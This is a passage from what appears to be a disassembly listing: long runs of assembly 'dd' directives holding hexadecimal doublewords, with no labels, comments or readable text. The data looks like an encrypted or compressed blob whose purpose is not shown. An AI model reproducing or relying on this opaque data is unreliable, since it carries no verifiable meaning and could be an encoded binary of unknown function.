4BE1BD0Bh, 5B58892Dh dd 0F813C04Dh, 0B0C5823Fh, 0EE4C5C9Ch, 0B0BBE309h, 0C280920Eh dd 5F42DE5Eh, 29690095h, 9715B585h, 4CFE763Ah, 9930BDCh dd 218267D6h, 467E2BE5h, 0C8F225h, 0CF54FB68h, 0EFBF66D1h dd 0F3C7654Bh, 2E4FAF21h, 0C94ADA2Ch, 0DE9B2E4Ah, 9FF579C0h dd 0B5168957h, 55B805A5h, 408B8889h, 2C079559h, 802F8286h dd 735C8CACh, 8F040552h, 0BC5B0511h, 9375C060h, 7E44906h dd 25F7E0D5h, 6C9830FDh, 5B39DF95h, 0CE89341Eh, 0E5B8EBE9h dd 0AA0AEE7Dh, 9BC0F468h, 241FA908h, 6204112Eh, 6CCFB9C4h dd 0F19B8A1Fh, 0B9D10F25h, 0EDEE7B8Fh, 116D8F80h, 0B000C9DBh dd 59B3CA29h, 0BF6117B5h, 4609D3B7h, 0CD6B40F9h, 0DF56822Ah dd 0D120105Bh, 0E781031Dh, 0C49AD939h, 1AA238B8h, 2F4599C6h dd 0E177C13Bh, 67AA041Bh, 89BDC564h, 0E13A2BF5h, 0BFD040E4h dd 320BC985h, 4BDCABBCh, 25E38A65h, 0F6EF7EC8h, 7609F302h dd 960AEE8Ch, 5C9A69CCh, 890C3777h, 0AE85D34Eh, 90FCF28Dh dd 0F80527E2h, 0FF9A9540h, 744B5056h, 0AD5EDE04h, 0F04A6BA6h dd 82E4C07Ch, 25486C9Dh, 37C170B9h, 93A52F95h, 0BCFE352Bh dd 221548E7h, 1F953911h, 0C4810070h, 9FBF4DB9h, 2A73726Ch dd 86F04F14h, 485452C9h, 0CEE55BB6h, 8237533Ah, 88941797h dd 208DF0FFh, 1CF93B97h, 2B7BDBBCh, 0EB16308Dh, 1897AA40h dd 9702B7C1h, 5EBB9D18h, 723D8C12h, 9A4F49E7h, 0FFC78007h dd 20EF1C1h, 8772CF81h, 4F5C5484h, 17D13D29h, 0CA127518h dd 68E126B7h, 1B540847h, 698D4B1Eh, 6F5963A9h, 5A3989A5h dd 194F953Dh, 9D8E6240h, 0FDB42E4Ch, 7EBF1A9Ah, 6A5F767Ah dd 0D7F0B7F6h, 7D1CF66Ah, 0D0C59EB8h, 0EC056509h, 0F8292935h dd 0AF81206Ah, 0E003F926h, 0F3E7F8ABh, 0AED9A0DDh, 0BD9F3856h dd 0C2D3190Fh, 2C9D8DD7h, 8D7180E7h, 540CDD1Fh, 1560B96h dd 0A7C6B309h, 0F5CDBB50h, 7696E990h, 6887F099h, 0EF2022Bh dd 0D8A596BFh, 0F669947Ch, 0B70713A6h, 8A9D4AEEh, 37A8032Dh dd 227550C5h, 963956A4h, 80662526h, 0BD4E3190h, 60B23F12h dd 40F44F8Bh, 2D6328F6h, 0F1C0EB9h, 0BF61C1B7h, 7A5096F8h dd 0F03CCFC8h, 23890114h, 6B9EFE0Eh, 0FB207F01h, 0F120F9h dd 7B3A095Fh, 7C9B8627h, 311396F0h, 8D2D1995h, 1EF1E889h dd 13A55F73h, 763FC028h, 8848002Ah, 0A956E02Eh, 23AA1DB1h dd 80A1B77Fh, 5416AAEFh, 0DA127CE0h, 0C60547F2h, 47041CCDh dd 60AA1621h, 18E629C7h, 0AC9C33Dh, 9695CDFCh, 715BF909h dd 0FE624435h, 0C90EE77Bh, 948B501h, 125264A5h, 4B29BD31h dd 0E27BC63Ch, 3B34D0h, 750115C1h, 8960AE66h, 2E63857Dh dd 256D9D73h, 34C5617Fh, 0D22FEFA4h, 97C1E83Ch, 6D7D2E0Fh dd 0FA00EB37h, 8E6E26CAh, 199D1703h, 0D65CBD2Ah, 0A7E34EE6h dd 9A2542E8h, 0DD852918h, 4A0F50E1h, 0B4333181h, 7668285Eh dd 0E4796105h, 49A66A2Dh, 85F4CBF0h, 0BA1B117h, 256C3515h dd 20637B8Bh, 16A128B3h, 4A60EE75h, 0FE715214h, 0C5599370h dd 0FD1F016Dh, 66543B39h, 90F2F8BBh, 5003F6B3h, 0A65FD98Bh dd 0AFB32020h, 0B38C854Ah, 377E26DBh, 0BD611367h, 7DDB5B6Eh dd 0D0529ECDh, 6A5A38D0h, 1AF094B6h, 212A887h, 5DE39D7Ah dd 598D0909h, 3A5513C2h, 17357524h, 8BAD1603h, 0ED5EF81Ah dd 926FE9Bh, 7B2107BFh, 0F4D12A87h, 4F0781F8h, 84292EE5h dd 0ADDF2EEEh, 29025990h, 2BE9B530h, 0B526B350h, 2AFA0991h dd 0B736D49Dh, 7F84BB0h, 2B7AE800h, 5121AD64h, 0A2BB0160h dd 132E6C8h, 619348BDh, 0EACE912h, 0A7C930E2h, 0DC433008h dd 94970C00h, 8EABBE2Ah, 0EB752484h, 52991261h, 0B855ED22h dd 0F3CF25E7h, 0A973DC6h, 84135B0Bh, 0FE929FF2h, 0E304B835h dd 0BF400580h, 7989BC7h, 0E16E905Fh, 758E8A00h, 0C1B25C3Dh dd 0CF812E07h, 24242B35h, 0A75FF9ACh, 67A0E0CFh, 2220907Ah dd 0CE961C8Ch, 70260440h, 61DA1CE5h, 0CD5E8069h, 16C959CFh dd 0B06AE92Eh, 12119108h, 0A0EE65Bh, 0C43D9D0Bh, 0DD44A5h dd 4BCA51F3h, 78FC85C1h, 0F547EC13h, 7EB33A02h, 69215C9Bh dd 6ADFF883h, 0C94F68D6h, 12119121h, 3D0F5991h, 98330075h dd 0E7EE73B8h, 776302D9h, 3AE1C61h, 0ECC5E056h, 41459ECCh dd 4F527C2Dh, 0D1817E90h, 80A70522h, 94B06102h, 0FFC0C72Eh dd 0B770E6E0h, 7104E433h, 0A299D31h, 0BC6DCCABh, 0BD5E81A4h dd 0B6196EE2h, 2B9D46C8h, 0A258ABA7h, 4C1C0D10h, 0D3810157h dd 1B67A115h, 60D40F2Bh, 62A5025Fh, 0E24007FCh, 0D29561D1h dd 719D104Fh, 642B370Ch, 2DA633E7h, 0D88A2797h, 0CB034D92h dd 0F5480531h, 0B7F01794h, 0A959F1E0h, 0EF6161BCh, 810A943Ah dd 2B9B93DAh, 8F5C80Dh, 2EA99E11h, 22C2A904h, 8D92C411h dd 0A4D9EE23h, 2181168Bh, 18EC0276h, 0CC6AE145h, 1A448491h dd 0A1A5F4FCh, 8E8BFE16h, 0D48891D5h, 4A142851h, 0BD9CD8DEh dd 5A13F33Fh, 6F8060DBh, 0B8CCEFA6h, 3C0C3771h, 68F5AC78h dd 0DB6A5EFEh, 3C47C06Ch, 14B68668h, 0BFF47D9Ah, 5220E70Ch dd 5A25C70Ah, 0C113F404h, 12AE19Dh, 0C83FBCB9h, 8895D8F2h dd 3ED6449Fh, 720FAE57h, 0AD2A5BD2h, 27F508E6h, 1109FC12h dd 0B81E2575h, 877EABh, 0EE180B0Ah, 17CC87BEh, 531E5F50h dd 2908BE25h, 0D22B091Bh, 97DC7C56h, 75D61929h, 0ACEA4D25h dd 501D698h, 0A06C15FAh dd 0FA38FE8Ah, 4433C112h, 0E7880D37h, 7942B083h, 0F1DF01CBh dd 1A58265Ch, 0D6143CF9h, 954AA9A3h, 0C17ABFF3h, 76611101h dd 2B6AEFB4h, 3D51F62Bh, 0BF30947Eh, 4980F9DBh, 3B8546AEh dd 294D1002h, 911E18Dh, 3E44E451h, 0FD923754h, 0B17BCD1h dd 0D3AA5AEDh, 0AF8A9300h, 9A953F5Ch, 1E0CE0B4h, 0E1FF26F4h dd 0EDD0922h, 0CDC47359h, 8866A252h, 30EDAFDBh, 1D92E5C0h dd 1F5F0497h, 0F24F29FFh, 39F40047h, 7B08446Ch, 327000DDh dd 0DBD3405Fh, 0D1057753h, 51467290h, 98E7C8Ch, 8C3E12D5h dd 0A2290D7h, 0F45A122Fh, 84B1B24Ah, 9EBA0447h, 95168069h dd 4361E41h, 4F8B2053h, 1CC7EF99h, 6F6017D8h, 80840143h dd 23507A29h, 5B21227Eh, 4225AD56h, 80E3B789h, 0B5C0CFBEh dd 660453B8h, 5B3E8CBFh, 4522AFADh, 3D27CC98h, 2F5309h dd 54889E5Dh, 1A0197E2h, 0FD492175h, 757F7AB3h, 0A7FDA692h dd 29387010h, 60B13802h, 313BD4h, 2F7172BDh, 0B1F4579Bh dd 1512E207h, 59196154h, 0CACDA7EAh, 505F82C0h, 59E102C8h dd 0C53FB1DBh, 900DF84Ch, 350A870Fh, 306A8DD9h, 50440CC7h dd 851BBF3Eh, 29907614h, 4F349E12h, 0FD0095E2h, 9EB293A1h dd 10083F7h, 0C60D59DBh, 264D6C68h, 20730F4Ch, 0CD799717h dd 0B8BB7BEh, 1F167009h, 25534E93h, 84C08A4Dh, 5D5691Dh dd 8C8F4953h, 4BDFF3B1h, 1CA21488h, 89A5DD8Eh, 6C56488Ah dd 1447DAC5h, 4FE0521Ah, 0F84AD773h, 0E9024B11h, 4C5E84Ah dd 4396E534h, 0D4C5ACF9h, 2D19104Bh, 7BC9954Ah, 5FCB00DEh dd 0D1E88423h, 0CE7B1783h, 68265A2Ch, 0E19D00C4h, 162BF8D0h dd 2979CF5h, 659CB299h, 0B04454C0h, 4EAE4EDAh, 94A9E83Dh dd 0A2DC1215h, 0A64AE8B3h, 0FA25E0CEh, 0E8183A35h, 0EE720888h dd 2A3BEF01h, 883F0689h, 0D503FD7Fh, 0BD1B2B0Fh, 188202A4h dd 5F309024h, 6F94D84Ch, 0C1FC3C40h, 0A32D38D0h, 0BCDD8F00h dd 7C52FB89h, 0BF312C01h, 61DD658h, 446AE41h, 17DF3470h dd 1BB5196h, 5B415994h, 2CC0E650h, 28FEE52Ah, 5BE29295h dd 0C7227841h, 4A3AC948h, 508171A2h, 171B8E0Fh, 75F35275h dd 0F44086Bh, 0CE97F601h, 3EC430D0h, 0CC5FF9D4h, 60778B26h dd 543810BFh, 0D35500F0h, 3BA8A69Eh, 7452C315h, 615F122Eh dd 0DDBFCC00h, 0A360D3D7h, 0B557A863h, 6158398Ah, 0E02BB64Eh dd 264F0DDh, 89F2BC10h, 27D6101h, 55094134h, 0B2D694BAh dd 916F9840h, 81720017h, 6C8B4ED3h, 93B55B27h, 6EAEACD7h dd 5160986h, 62C10B33h, 0EB175EA9h, 635005FBh, 9DA1A0F1h dd 3D2BFBA9h, 956E6ADCh, 0C0682600h, 3B0C8314h, 56D88A24h dd 2BB2DE12h, 6A36468Dh, 9BC21CDBh, 0F8D46373h, 9A2A1508h dd 0B0D42537h, 8E824BDCh, 5A0FB823h, 17BCD88Fh, 25555482h dd 25380E65h, 49EBD05h, 8012F07Bh, 0A51A67CFh, 89D61402h dd 57201DB5h, 0C820C31Ch, 8DBB3C04h, 86B2BF7Dh, 96805F12h dd 1185FDE9h, 0BBFF6E95h, 0C47D50F6h, 7094B504h, 9EAB2E3h dd 99594381h, 95BD0B82h, 0E9F25627h, 0FBC0CF6Dh, 2A8262Ch dd 2D285ABBh, 0AB423CEBh, 968371FCh, 0D8E2F0BFh, 0E556501Ch dd 8ACB146Ah, 6367312Ch, 8D88B791h, 857FA515h, 22246200h dd 33F04211h, 0B37809C9h, 21702B87h, 97F6964Eh, 39E04BF3h dd 9A01C61Ch, 89732E6Dh, 5D3EE59Dh, 13F18BE1h, 387ACEFBh dd 5ADDCC6h, 793A17E9h, 0DF63F813h, 0C43210E5h, 4E110076h dd 0E2CD433Bh, 64090AD6h, 715FE0A2h, 0A5E2A180h, 42803DB7h dd 5E48E020h, 810F1216h, 2570FE18h, 0E3D3A8h, 2787EFA7h dd 0EE0C6812h, 0FCBB8A00h, 9223ED56h, 0B51A977Bh, 720B7F5h dd 670C40D2h, 0D471D9DBh, 5695098Eh, 0D5AD54C4h, 73C46BD2h dd 3FFF8500h, 0B380D803h, 0D308979Eh, 4154A778h, 25A4AA40h dd 83C7008Ch, 0B3DDE4D1h, 72B8305Ah, 2CC8B95h, 571BAF63h dd 8476333Ah, 117239D4h, 54E1DD00h, 0FB40F795h, 0CABD8975h dd 25EC5621h, 3860D74Fh, 1080620h, 0FB8B051Dh, 6F31BD23h dd 5C1ACC89h, 0BA5B0BC0h, 2F0549B3h, 160F0AA3h, 0B74AB1B8h dd 0DED105Ch, 3D8D89A0h, 5E5085C9h, 88B44041h, 3DB0E01Ah dd 0A5B0F500h, 853B38F2h, 2760989Eh, 1A4A08D8h, 0B100F4D9h dd 6B4E41E5h, 9D030991h, 0DB1C16C1h, 0CC359Fh, 0D300FD4h dd 0E91443B7h, 3AE85Dh, 0E4B4753Fh, 4AB32C96h, 963FE2FCh dd 0A0A0FAB6h, 2B0962FAh, 0D109359Dh, 0DC560974h, 3E44E271h dd 7FD32458h, 7950A527h, 7A2F05ADh, 0A100BF38h, 0F48AF105h dd 7F760ABAh, 1CA6CF29h, 0DB2FA1E7h, 0B1097AAFh, 0D8F0A7FBh dd 0ACE5008Ah, 9FD4193Bh, 6028CB2Bh, 130035E8h, 0D10D52D2h dd 99FB4Eh, 0B4E1BDC6h, 115BB830h, 2427391Dh, 465127h dd 0A01D4593h, 0C004CE87h, 61F85F5Eh, 10D21ABCh, 0E84B30BFh dd 0CEF53DB9h, 0C34C3960h, 8C6F049Dh, 0B2613691h, 5E1D0068h dd 28A48F51h, 0C4A15F47h, 0F7855323h, 15CB0C1h, 3FAF02FEh dd 81BC95F3h, 5F9D625Dh, 75561609h, 0D65AF6E9h, 69B08916h dd 78B56C09h, 463C9740h, 0CC58739Bh, 5A191F09h, 0B96B523Eh dd 0EDB6D698h, 946ECCA0h, 101E5313h, 0F2001FA2h, 0CA50F18Bh dd 9047184h, 0C6FBC934h, 921D00A4h, 461C9794h, 13919D11h dd 0FAF29A12h, 0BC00147Ah, 833D92C5h, 0E004FB87h, 0C18B865Dh dd 0CB109FEh, 2B8E4B7Bh, 722D2BBDh, 0E9C790F6h, 2F18F224h dd 5B376AF2h, 0ADAB3381h, 0C9C8D68Eh, 898016CDh, 852EB585h dd 1659D6Ah, 600FC8AAh, 16DDA6C4h, 0AD9D3301h, 1361030Ah dd 0FD7168B4h, 2691E8E0h, 8F3F9FAh, 0C2251DFDh, 0DE2BF651h dd 0BD0B4E0Bh, 0B32522D1h, 952BD566h, 6100C73Dh, 8FD8085Bh dd 91FEC9A5h, 23FBFD62h, 274F7D0h, 14BAA2C6h, 9B75D0FDh dd 0BB520295h, 3DB34EB0h, 4FAF5B5Eh, 4A924131h, 52B36AB0h dd 0B9F72403h, 9AF9134Eh, 3505D038h, 77FE1916h, 1CAAABACh dd 0B9C148CBh, 1A7B6F82h, 0ED530F6Eh, 0CD560497h, 13B8122Eh dd 131A8711h, 32A8F860h, 0C47CAA80h, 0CF00B24Ah, 9663C294h dd 2795FE1h, 0EBF02A8Eh, 0A55E6191h, 0BB147551h, 2F1B3AC6h dd 0D97B026Ah, 2262370h, 0E3508015h, 0BF4082D2h, 0C461F5D7h dd 9139CB0Ah, 2C622FBh, 3604B724h, 64CFCDA5h, 4D0B6017h dd 23D85A09h, 0FEC8BE05h, 1C316643h, 0E95FE485h, 0FB1C57CAh dd 5ACB7248h, 0AAD2FEDBh, 0B4880912h, 24E600CDh, 444E1026h dd 8D3B6692h, 659A07CEh, 0D143D28Bh, 0FFE8A4BDh, 0D3FCADD2h dd 5EA8C0A9h, 30001E90h, 0BB515046h, 4E7CDCA0h, 7B8EE543h dd 0EE2E326Eh, 71508FDh, 0BD01893Ch, 4B6750D5h, 59C9CA5Bh dd 5EEAAD77h, 8EAE397Ch, 0BC504506h, 971E22A4h, 0F960B530h dd 61D58A16h, 70D0DEADh, 0F5125AFCh, 0E06FFF6Ah, 0FD411200h dd 7D23A6FBh, 0C28036B8h, 5CB8C0F2h, 26E6ABFh, 0D53169A1h dd 1D44C094h, 0E0DD4A8Ah, 0D99F86A9h, 505A474Bh, 6A3E48C0h dd 371F2700h, 0E62FB814h, 452BE70h, 0B871E41Ah, 0CB924B0Bh dd 0E11A2BEFh, 4309E1D9h, 4725ED2h, 0BC5F4DD5h, 239584D7h dd 5D10173h, 39840921h, 0BCF89960h, 9D2B0BD7h, 70732961h dd 0DE8A3DD2h, 0EF51C8A5h, 43ECF400h, 3BE8058Ch, 8B944E88h dd 6912F3D1h, 6B64AF0Eh, 2E084F82h, 0D0282C6h, 7ED88B39h dd 0DC010527h, 0B151E47Ch, 5B05C2EFh, 9DAB46ABh, 12DC6135h dd 5654BF01h, 482F22D5h dd 0AAA413E3h, 56005511h, 4C8A24BBh, 1F985B33h, 74045D25h dd 11D7E89Eh, 0E7800903h, 11E879BCh, 62D04030h, 0A5507C7Dh dd 3115FE1Ch, 6DAA5185h, 986ED2B8h, 0E6003D1Ch, 0D64AB054h dd 0FC4C91E2h, 8ABF0989h, 0FE7B5FFAh, 13FEA805h, 3ABCB6B9h dd 60D05E0Bh, 89D02109h, 0BA68059Dh, 0D0E65F25h, 0A8B86000h dd 61747EDFh, 9622EB9h, 0F1C944FEh, 0D4132EA1h, 1676EABh dd 36F75BA6h, 5AE3FC4Ah, 0ADD3C52Eh, 693D8042h, 4B17D535h dd 770DECFCh, 0D2B2F44h, 0A99509C0h, 6FD2E113h, 0F136A820h dd 0E0310E15h, 23879673h, 337BA076h, 1D24A9EAh, 5D04DF7Ch dd 0AEBC5FF3h, 0D8D780F0h, 0B17853B3h, 80A95FDBh, 1369EB90h dd 0DA40D19Ch, 7A59C6FDh, 82F0042h, 0C3C8A27Ch, 0C49FD139h dd 0F7800A8h, 4D8AB014h, 982C8612h, 88166A95h, 0D3C090E9h dd 8F775196h, 252DEA00h, 3A3E187Bh, 0F56602CAh, 5B4EE076h dd 0DBAF00D3h, 0E10A5028h, 1CA90B12h, 66D09A01h, 342F1E90h dd 0BCC0B8E1h, 0DE1D4B05h, 791680F9h, 5C117847h, 127538B8h dd 0F21C2E4Fh, 5D6789BFh, 56824DBDh, 0D2F98B46h, 844DBD1Eh dd 404DA0E1h, 0ECA8256Fh, 7306255Fh, 17809795h, 0FF6E819Eh dd 80A538E1h, 2A1CBD03h, 57332556h, 4B11E8E5h, 6980155Ch dd 605027B5h, 0E5A7891Dh, 9E9DC080h, 124ABC48h, 0F2BF6CBAh dd 0D14289FFh, 0AE70490Ch, 80F5FF61h, 0F16BCFEFh, 0BCBCFFD4h dd 806E4F63h, 75A0803h, 44A887BAh, 0B1628FA4h, 0F6B585B0h dd 0BACA4052h, 72C46136h, 99BCAF67h, 73F16E5Eh, 5F51CE12h dd 4A0C92F4h, 0A4CAE701h, 0B1225987h, 0B7385515h, 0EE09F381h dd 7B137969h, 1ECDAD6Bh, 1A31CF40h, 76BE094Fh, 2598E75Bh dd 3E0046C9h, 857FC258h, 0BB2252Ah, 9A837A10h, 5B94582h dd 51505F01h, 0BF3B167Ch, 5C707FA5h, 6F489A08h, 30E62F33h dd 746B597h, 0A0EAC0DEh, 4BF9BFB7h, 0C1087E27h, 316E0684h dd 7F1C0h, 24D12868h, 25B15369h, 0D2D784C0h, 0BF047679h dd 10A576Dh, 9BD64CACh, 0AEC880DDh, 1BD1157h, 4BC78192h dd 2F3D3B99h, 57FB8067h, 24E9E822h, 7AB742E8h, 9D59B097h dd 881EEB91h, 0B42DC019h, 800245DCh, 0D9BD2320h, 43165718h dd 3E1C359Fh, 0D375DC0Ch, 0F6E0DD6h, 922DCE57h, 81C044B9h dd 1C4BF7D3h, 8C0F4712h, 0FD4F01B3h, 4D892FEEh, 0F709E3FAh dd 0C42692F1h, 975A3BF2h, 89FD45C4h, 0C95AFC4Bh, 0B3A03061h dd 4B8997C4h, 5DC8CD4h, 0ACDC0DBFh, 2BEE860h, 9D2BFB4Bh dd 0AD057485h, 0F29D650h, 0AC3B9F8Fh, 9B60BF52h, 2D1D925h dd 0EABFF2E2h, 9A4156FDh, 33162F53h, 6EAEFA84h, 7F2700ADh dd 34632850h, 2010B72Bh, 0B3011B91h, 0EEDAD0D8h, 0C7C0ABE8h dd 13350977h, 0BE7973B0h, 63E590A7h, 0DE580F9Ah, 0BAA337B4h dd 68C84CBBh, 0A027FC78h, 0A44CAh, 0B7D1B450h, 0BCAFA577h dd 0C602637Eh, 46FD5ADEh, 0F89075AAh, 383E14B7h, 0E0DA807Dh dd 0FC9EE942h, 52840EABh, 0B8525B5Fh, 78704ADh, 1881357Eh dd 742F0FD9h, 0E06FB666h, 9CB529ACh, 0CD509444h, 0C0DF8B14h dd 5A7D844Bh, 877B82C1h, 0BE5AC70h, 143DBD33h, 0CA7D2B6Ah dd 0C83A4D15h, 296E6260h, 51EB841h, 0ADC96D1Dh, 6B8B7B13h dd 17D40CDCh, 0F8AA5E34h, 0C4512EBCh, 9CE2FE12h, 4135238Dh dd 6F37E978h, 28C9BB9Eh, 24D76679h, 5F90BD5h, 3B80B93Dh dd 3C35668Ah, 162F27F6h, 465D589Ah, 9726B037h, 14208E14h dd 0CF575004h, 8C3A14CFh, 0CB7CE5Fh, 0B52F8929h, 8B6A0239h dd 5984FBD9h, 0B9F41917h, 8B7C36EDh, 3A975B74h, 5CB55F86h dd 5C6C9100h, 0EC12E653h, 2D9D1809h, 45BF5033h, 49922512h dd 0BE47ABE2h, 0AE3DBFA0h, 0A2ABB20Ah, 0DF01896Dh, 2825BD09h dd 81B2702Fh, 9EF297E7h, 0B5EC5E62h, 0A81AD71Eh, 315EAF57h dd 75697D01h, 2A650D3Eh, 26618D9Ch, 0C0AD1004h, 0B439EC4Ah dd 6E35C801h, 611CE263h, 0BC22342Fh, 8401CF3Ch, 2EBD3071h dd 0EFB70FC4h, 0F2B51512h, 0F039F62Eh, 97DDCB80h, 7DDBF01Ah dd 64A28173h, 7632CBF8h, 99244867h, 0ABBD4135h, 1823326Bh dd 0FE8E0501h, 0F860551Eh, 0BBABB1D3h, 0AD198280h, 0C37E2B44h dd 611AD712h, 0DB2B23F1h, 5637895Ch, 0F65A259Dh, 28DDFB4Bh dd 7A06676h, 0E12FA83Ch, 0E56802B9h, 6E225EBDh, 97D7A8D2h dd 7CE86CADh, 0A5E1ED3Eh, 596873F9h, 0B231818h, 0E4105CFBh dd 54D32798h, 3FB00F00h, 9A43D28Ah, 86C505B8h, 0E81B6449h dd 7A9171C7h, 0A800A647h, 0C5C62D85h, 85D827E9h, 0BA84AEC1h dd 7C49C0D7h, 5F61AFF0h, 166F2F1Dh, 92091523h, 0C5A4023Bh dd 0C73A5731h, 0F9C15287h, 3371C75Ch, 0B0B6B72Bh, 0C0E6E1h dd 965DA4A2h, 0A8EBF66h, 8FBB5038h, 7672C93Dh, 6D9EA05h dd 81607560h, 52AA05EFh, 0AE617540h, 819A0C74h, 66CC3DC0h dd 1A139957h, 33083CA7h, 0DC609D0Eh, 8D512582h, 2C16564Bh dd 1A46D4BDh, 0A099BD00h, 7A4D62E3h, 4591035Ch, 9E522BB9h dd 0BF37AFEh, 0DE9D2BC4h, 0EEA7A08Fh, 0A11C971Eh, 8D7E5F45h dd 85742BB4h, 0F9A893E9h, 9F0A9305h, 12EF91C1h, 0B1C852FEh dd 0F7F62A7Bh, 9F199DE1h, 22A51D4Ch, 5C296525h, 6ED17A9Eh dd 9EDC7C2Dh, 0B8B19202h, 0E5C54EE8h, 25BFBDB0h, 0C973C426h dd 40336DADh, 0FBC05537h, 0E56D1B05h, 0F6F86275h, 0C126BC5Bh dd 3F9B1780h, 82D5F5F4h, 90244D6h, 0F56A6B39h, 0FC9A0719h dd 0BB01D405h, 67ACB1D6h, 51D49506h, 165F3558h, 6883AB2Eh dd 8AFD0B2Dh, 72E461ECh, 9952E00h, 5F5BCE70h, 4E0E0D33h dd 0ECECFCDAh, 62E1480h, 30125709h, 810F7CE2h, 50C773DFh dd 0B8602070h, 0E812B641h, 6C46178h, 84019BABh, 23BAAB86h dd 5BC0E7BAh, 7407DD97h, 0F0DC1194h, 1A157C8Ch, 667849F1h dd 0AC53C561h, 1909830Ah, 0EF38F70Bh, 497BBD01h, 0BCA5CE95h dd 0F3704093h, 0C901EDF4h, 0C1AC2B62h, 6E6AD1FFh, 6188001Bh dd 5AFC9F4Fh, 0C6221743h, 7E0AB030h, 0C55FE225h, 0DE741209h dd 0CC7EC43Eh, 6C807C85h, 9704E5BDh, 0AB54291Ah, 4CFB72D4h dd 91101042h, 0CF810329h, 0C21A7363h, 1E4650h, 7BFE3558h dd 28537E3Bh, 0FA5D2C09h, 8226743Dh, 1C4033F3h, 84B76FCCh dd 8B88E70h, 4807AE1h, 18A165C0h, 0D29F9B10h, 0F58A6875h dd 0BFD0501Dh, 0CCC94ACDh, 894A0FF7h, 3DE7188h, 0DBC5BF50h dd 0C35B0D5Eh, 0F01CD6Eh, 0E08A65F3h, 436E3C12h, 0FB670199h dd 9226C680h, 1612E4C0h, 0AD6B0A97h, 8C1AB8AAh, 0E2E43FFFh dd 0A60BD96h, 548205CDh, 0DECDCAE3h, 0A30BCE82h, 0DDFEE60Bh dd 928ED6h, 0C65EB8BDh, 0FF6A9E64h, 2DC28B6h, 8D8548CDh dd 415E8E6Bh, 0AC35B47h, 4A3CC089h, 5F3E273Ah, 0A26F747Ch dd 927798Dh, 0BB9D382h, 0F44ADCh, 0DB7313BEh, 0BD74A33h dd 2985BD12h, 88839E2h, 2C1201A7h, 57C2B06Fh, 453F104h dd 22B926B3h, 0E380F122h, 0C4951B11h, 801499EDh, 0CF1E58DAh dd 0E54BF720h, 0B661C88h, 0FCC254BBh, 6A755E11h, 9D89C4D0h dd 89224B99h, 80082819h, 4CFCD986h, 0D57E00E5h, 2BB87382h dd 955089C8h, 0D1248B42h, 51CB2E60h, 0D62000F6h, 2B7811B8h dd 0F6456200h, 0E7F49D46h, 4186BE61h, 550C8E0Fh, 1973A306h dd 85670739h, 0FC7DA42Eh, 6290D97h, 0CF398C2h, 0DAEA014Ah dd 0A1EEC590h, 0E196889Eh, 0EA5B181Ch, 0E69523B9h, 800B441Ch dd 22B9EF58h, 9DA4B83Eh dd 1DAC7471h, 5E093509h, 4726C416h, 0A5B5D98Ah, 0B3FE1702h dd 0B6948DE7h, 5201E276h, 0D67CFC69h, 4FC0EC3Ch, 0CC648425h dd 0A3A2624h, 2864377Bh, 3083CCA1h, 0F0030BD3h, 123165C8h dd 0B36AFDD0h, 0D3D6003Ah, 86183391h, 5F6F00E6h, 706EF0E7h dd 2E26A93Dh, 0DF06AF37h, 959AFD7Dh, 8C702FB2h, 0B999D305h dd 0CD4507E4h, 72AB0E86h, 0EE7D4915h, 79BA814Ah, 1573F5A5h dd 249A2D8h, 192165F8h, 0EC7D0F82h, 8078B106h, 0AAD83D59h dd 1200A469h, 5CD7E557h, 14334BECh, 0FCFCDBBAh, 0BD015512h dd 0B5CB9E2Bh, 0BA61A77Dh, 1BF9170Eh, 0CD1D97E8h, 0CF4B368Eh dd 9DBD02FFh, 253C5475h, 0F9975F67h, 0A6949E9Bh, 0D4038FB1h dd 0C4960A31h, 5611A58Bh, 8D09C1EEh, 62173EF9h, 25AA53ACh dd 0EC2BC632h, 0E576C4FEh, 0BD33B82Eh, 76E14921h, 92AA9B2Ah dd 0FC7B0C00h, 26B2D496h, 9E12EE9h, 0F35C19F1h, 81114471h dd 0FC6A8BDBh, 8C42A51h, 0BF867AEBh, 1464A0EDh, 0EB802760h dd 75A80E4Ah, 0F8E15E71h, 7111258Eh, 4AFC2F9h, 4BF4DC76h dd 8864C1A6h, 1B282E4Bh, 95B88B9Ch, 65BF31B9h, 5386880Ah dd 3FDB6096h, 8BCA680h, 1F265463h, 915DE5Ah, 42C04AC8h dd 9FE180F8h, 5AE01A4Dh, 9737C2E0h, 57340D24h, 120F22F2h dd 0B7E04821h, 0B6954DDFh, 0EB9CEF28h, 0FE276AB5h, 40B0C9C6h dd 1E7CB213h, 0E46E1C0Fh, 2E1D0070h, 1237BBA3h, 0E5A57660h dd 8C7A3E13h, 6A0AB400h, 50B6B3CBh, 0E540349Ch, 4A71325Ah dd 0EF311CEFh, 3520F4D4h, 2F5B3358h, 0CA3AF91Bh, 0B0F81CB6h dd 0AB2BBF73h, 26C08951h, 0F19E00D3h, 5C4EB8CDh, 69532675h dd 5A0F4732h, 23E149A1h, 20E47D61h, 6E7AE3DAh, 9E56002Ch dd 2F527473h, 0BA25FB2h, 0E2EE19E8h, 66D8B325h, 0C85277F7h dd 5F03071Eh, 840276E9h, 0D265DBEFh, 562535EDh, 0D2675F0h dd 99057F8h, 247B885Bh, 1520FD0Eh, 7989209Ah, 25D680BBh dd 0F5542D0Ch, 25CB48CCh, 34C674FFh, 9A952892h, 72DE5310h dd 8980E3D8h, 309F0B15h, 2B359C7h, 6E8B7196h, 46DF94D9h dd 786D95D4h, 0A0613D68h, 0DE82B33Ch, 8933AEDBh, 0A07878DBh dd 941A1854h, 48D34E6Fh, 4CB99C4Ah, 8C1CACh, 8AB59AFEh dd 0AF95FCD0h, 1972C74h, 59E38043h, 0F845482Bh, 89BB0C30h dd 123637CFh, 518EB612h, 2B6D21E1h, 43DB1424h, 656761C0h dd 0F0006836h, 0BFD6DD99h, 124D800Ah, 888B0F62h, 2D8C866Ah dd 0B85B227Dh, 9E181B79h, 6ADED602h, 0DFD89347h, 1AB178E0h dd 17306880h, 0F81C9C78h, 365C0CFh, 12216B7Eh, 0F061A567h dd 7B13CFEDh, 0C4B61C83h, 293C9AE0h, 11AD8512h, 0EDD231E2h dd 1740A854h, 0AB113DE8h, 8B607122h, 76A8DA9Dh, 195F89h dd 509061F2h, 8F1D9DBFh, 56E72351h, 0E8D98F79h, 0B1F606D2h dd 0B09F2D14h, 0F5C8D014h, 0ED29742Eh, 580A879h, 0E9CC0A0h dd 7A78F181h, 48A9EF20h, 0A85B0041h, 0D9DC8896h, 270171FAh dd 329C64ECh, 0F6EA8DD3h, 135D085Ah, 0C7B35B17h, 0FEB8DD0Eh dd 0F74B9001h, 952A88A6h, 0E45BA505h, 0FF181BD9h, 88AE3300h dd 0A0E556C4h, 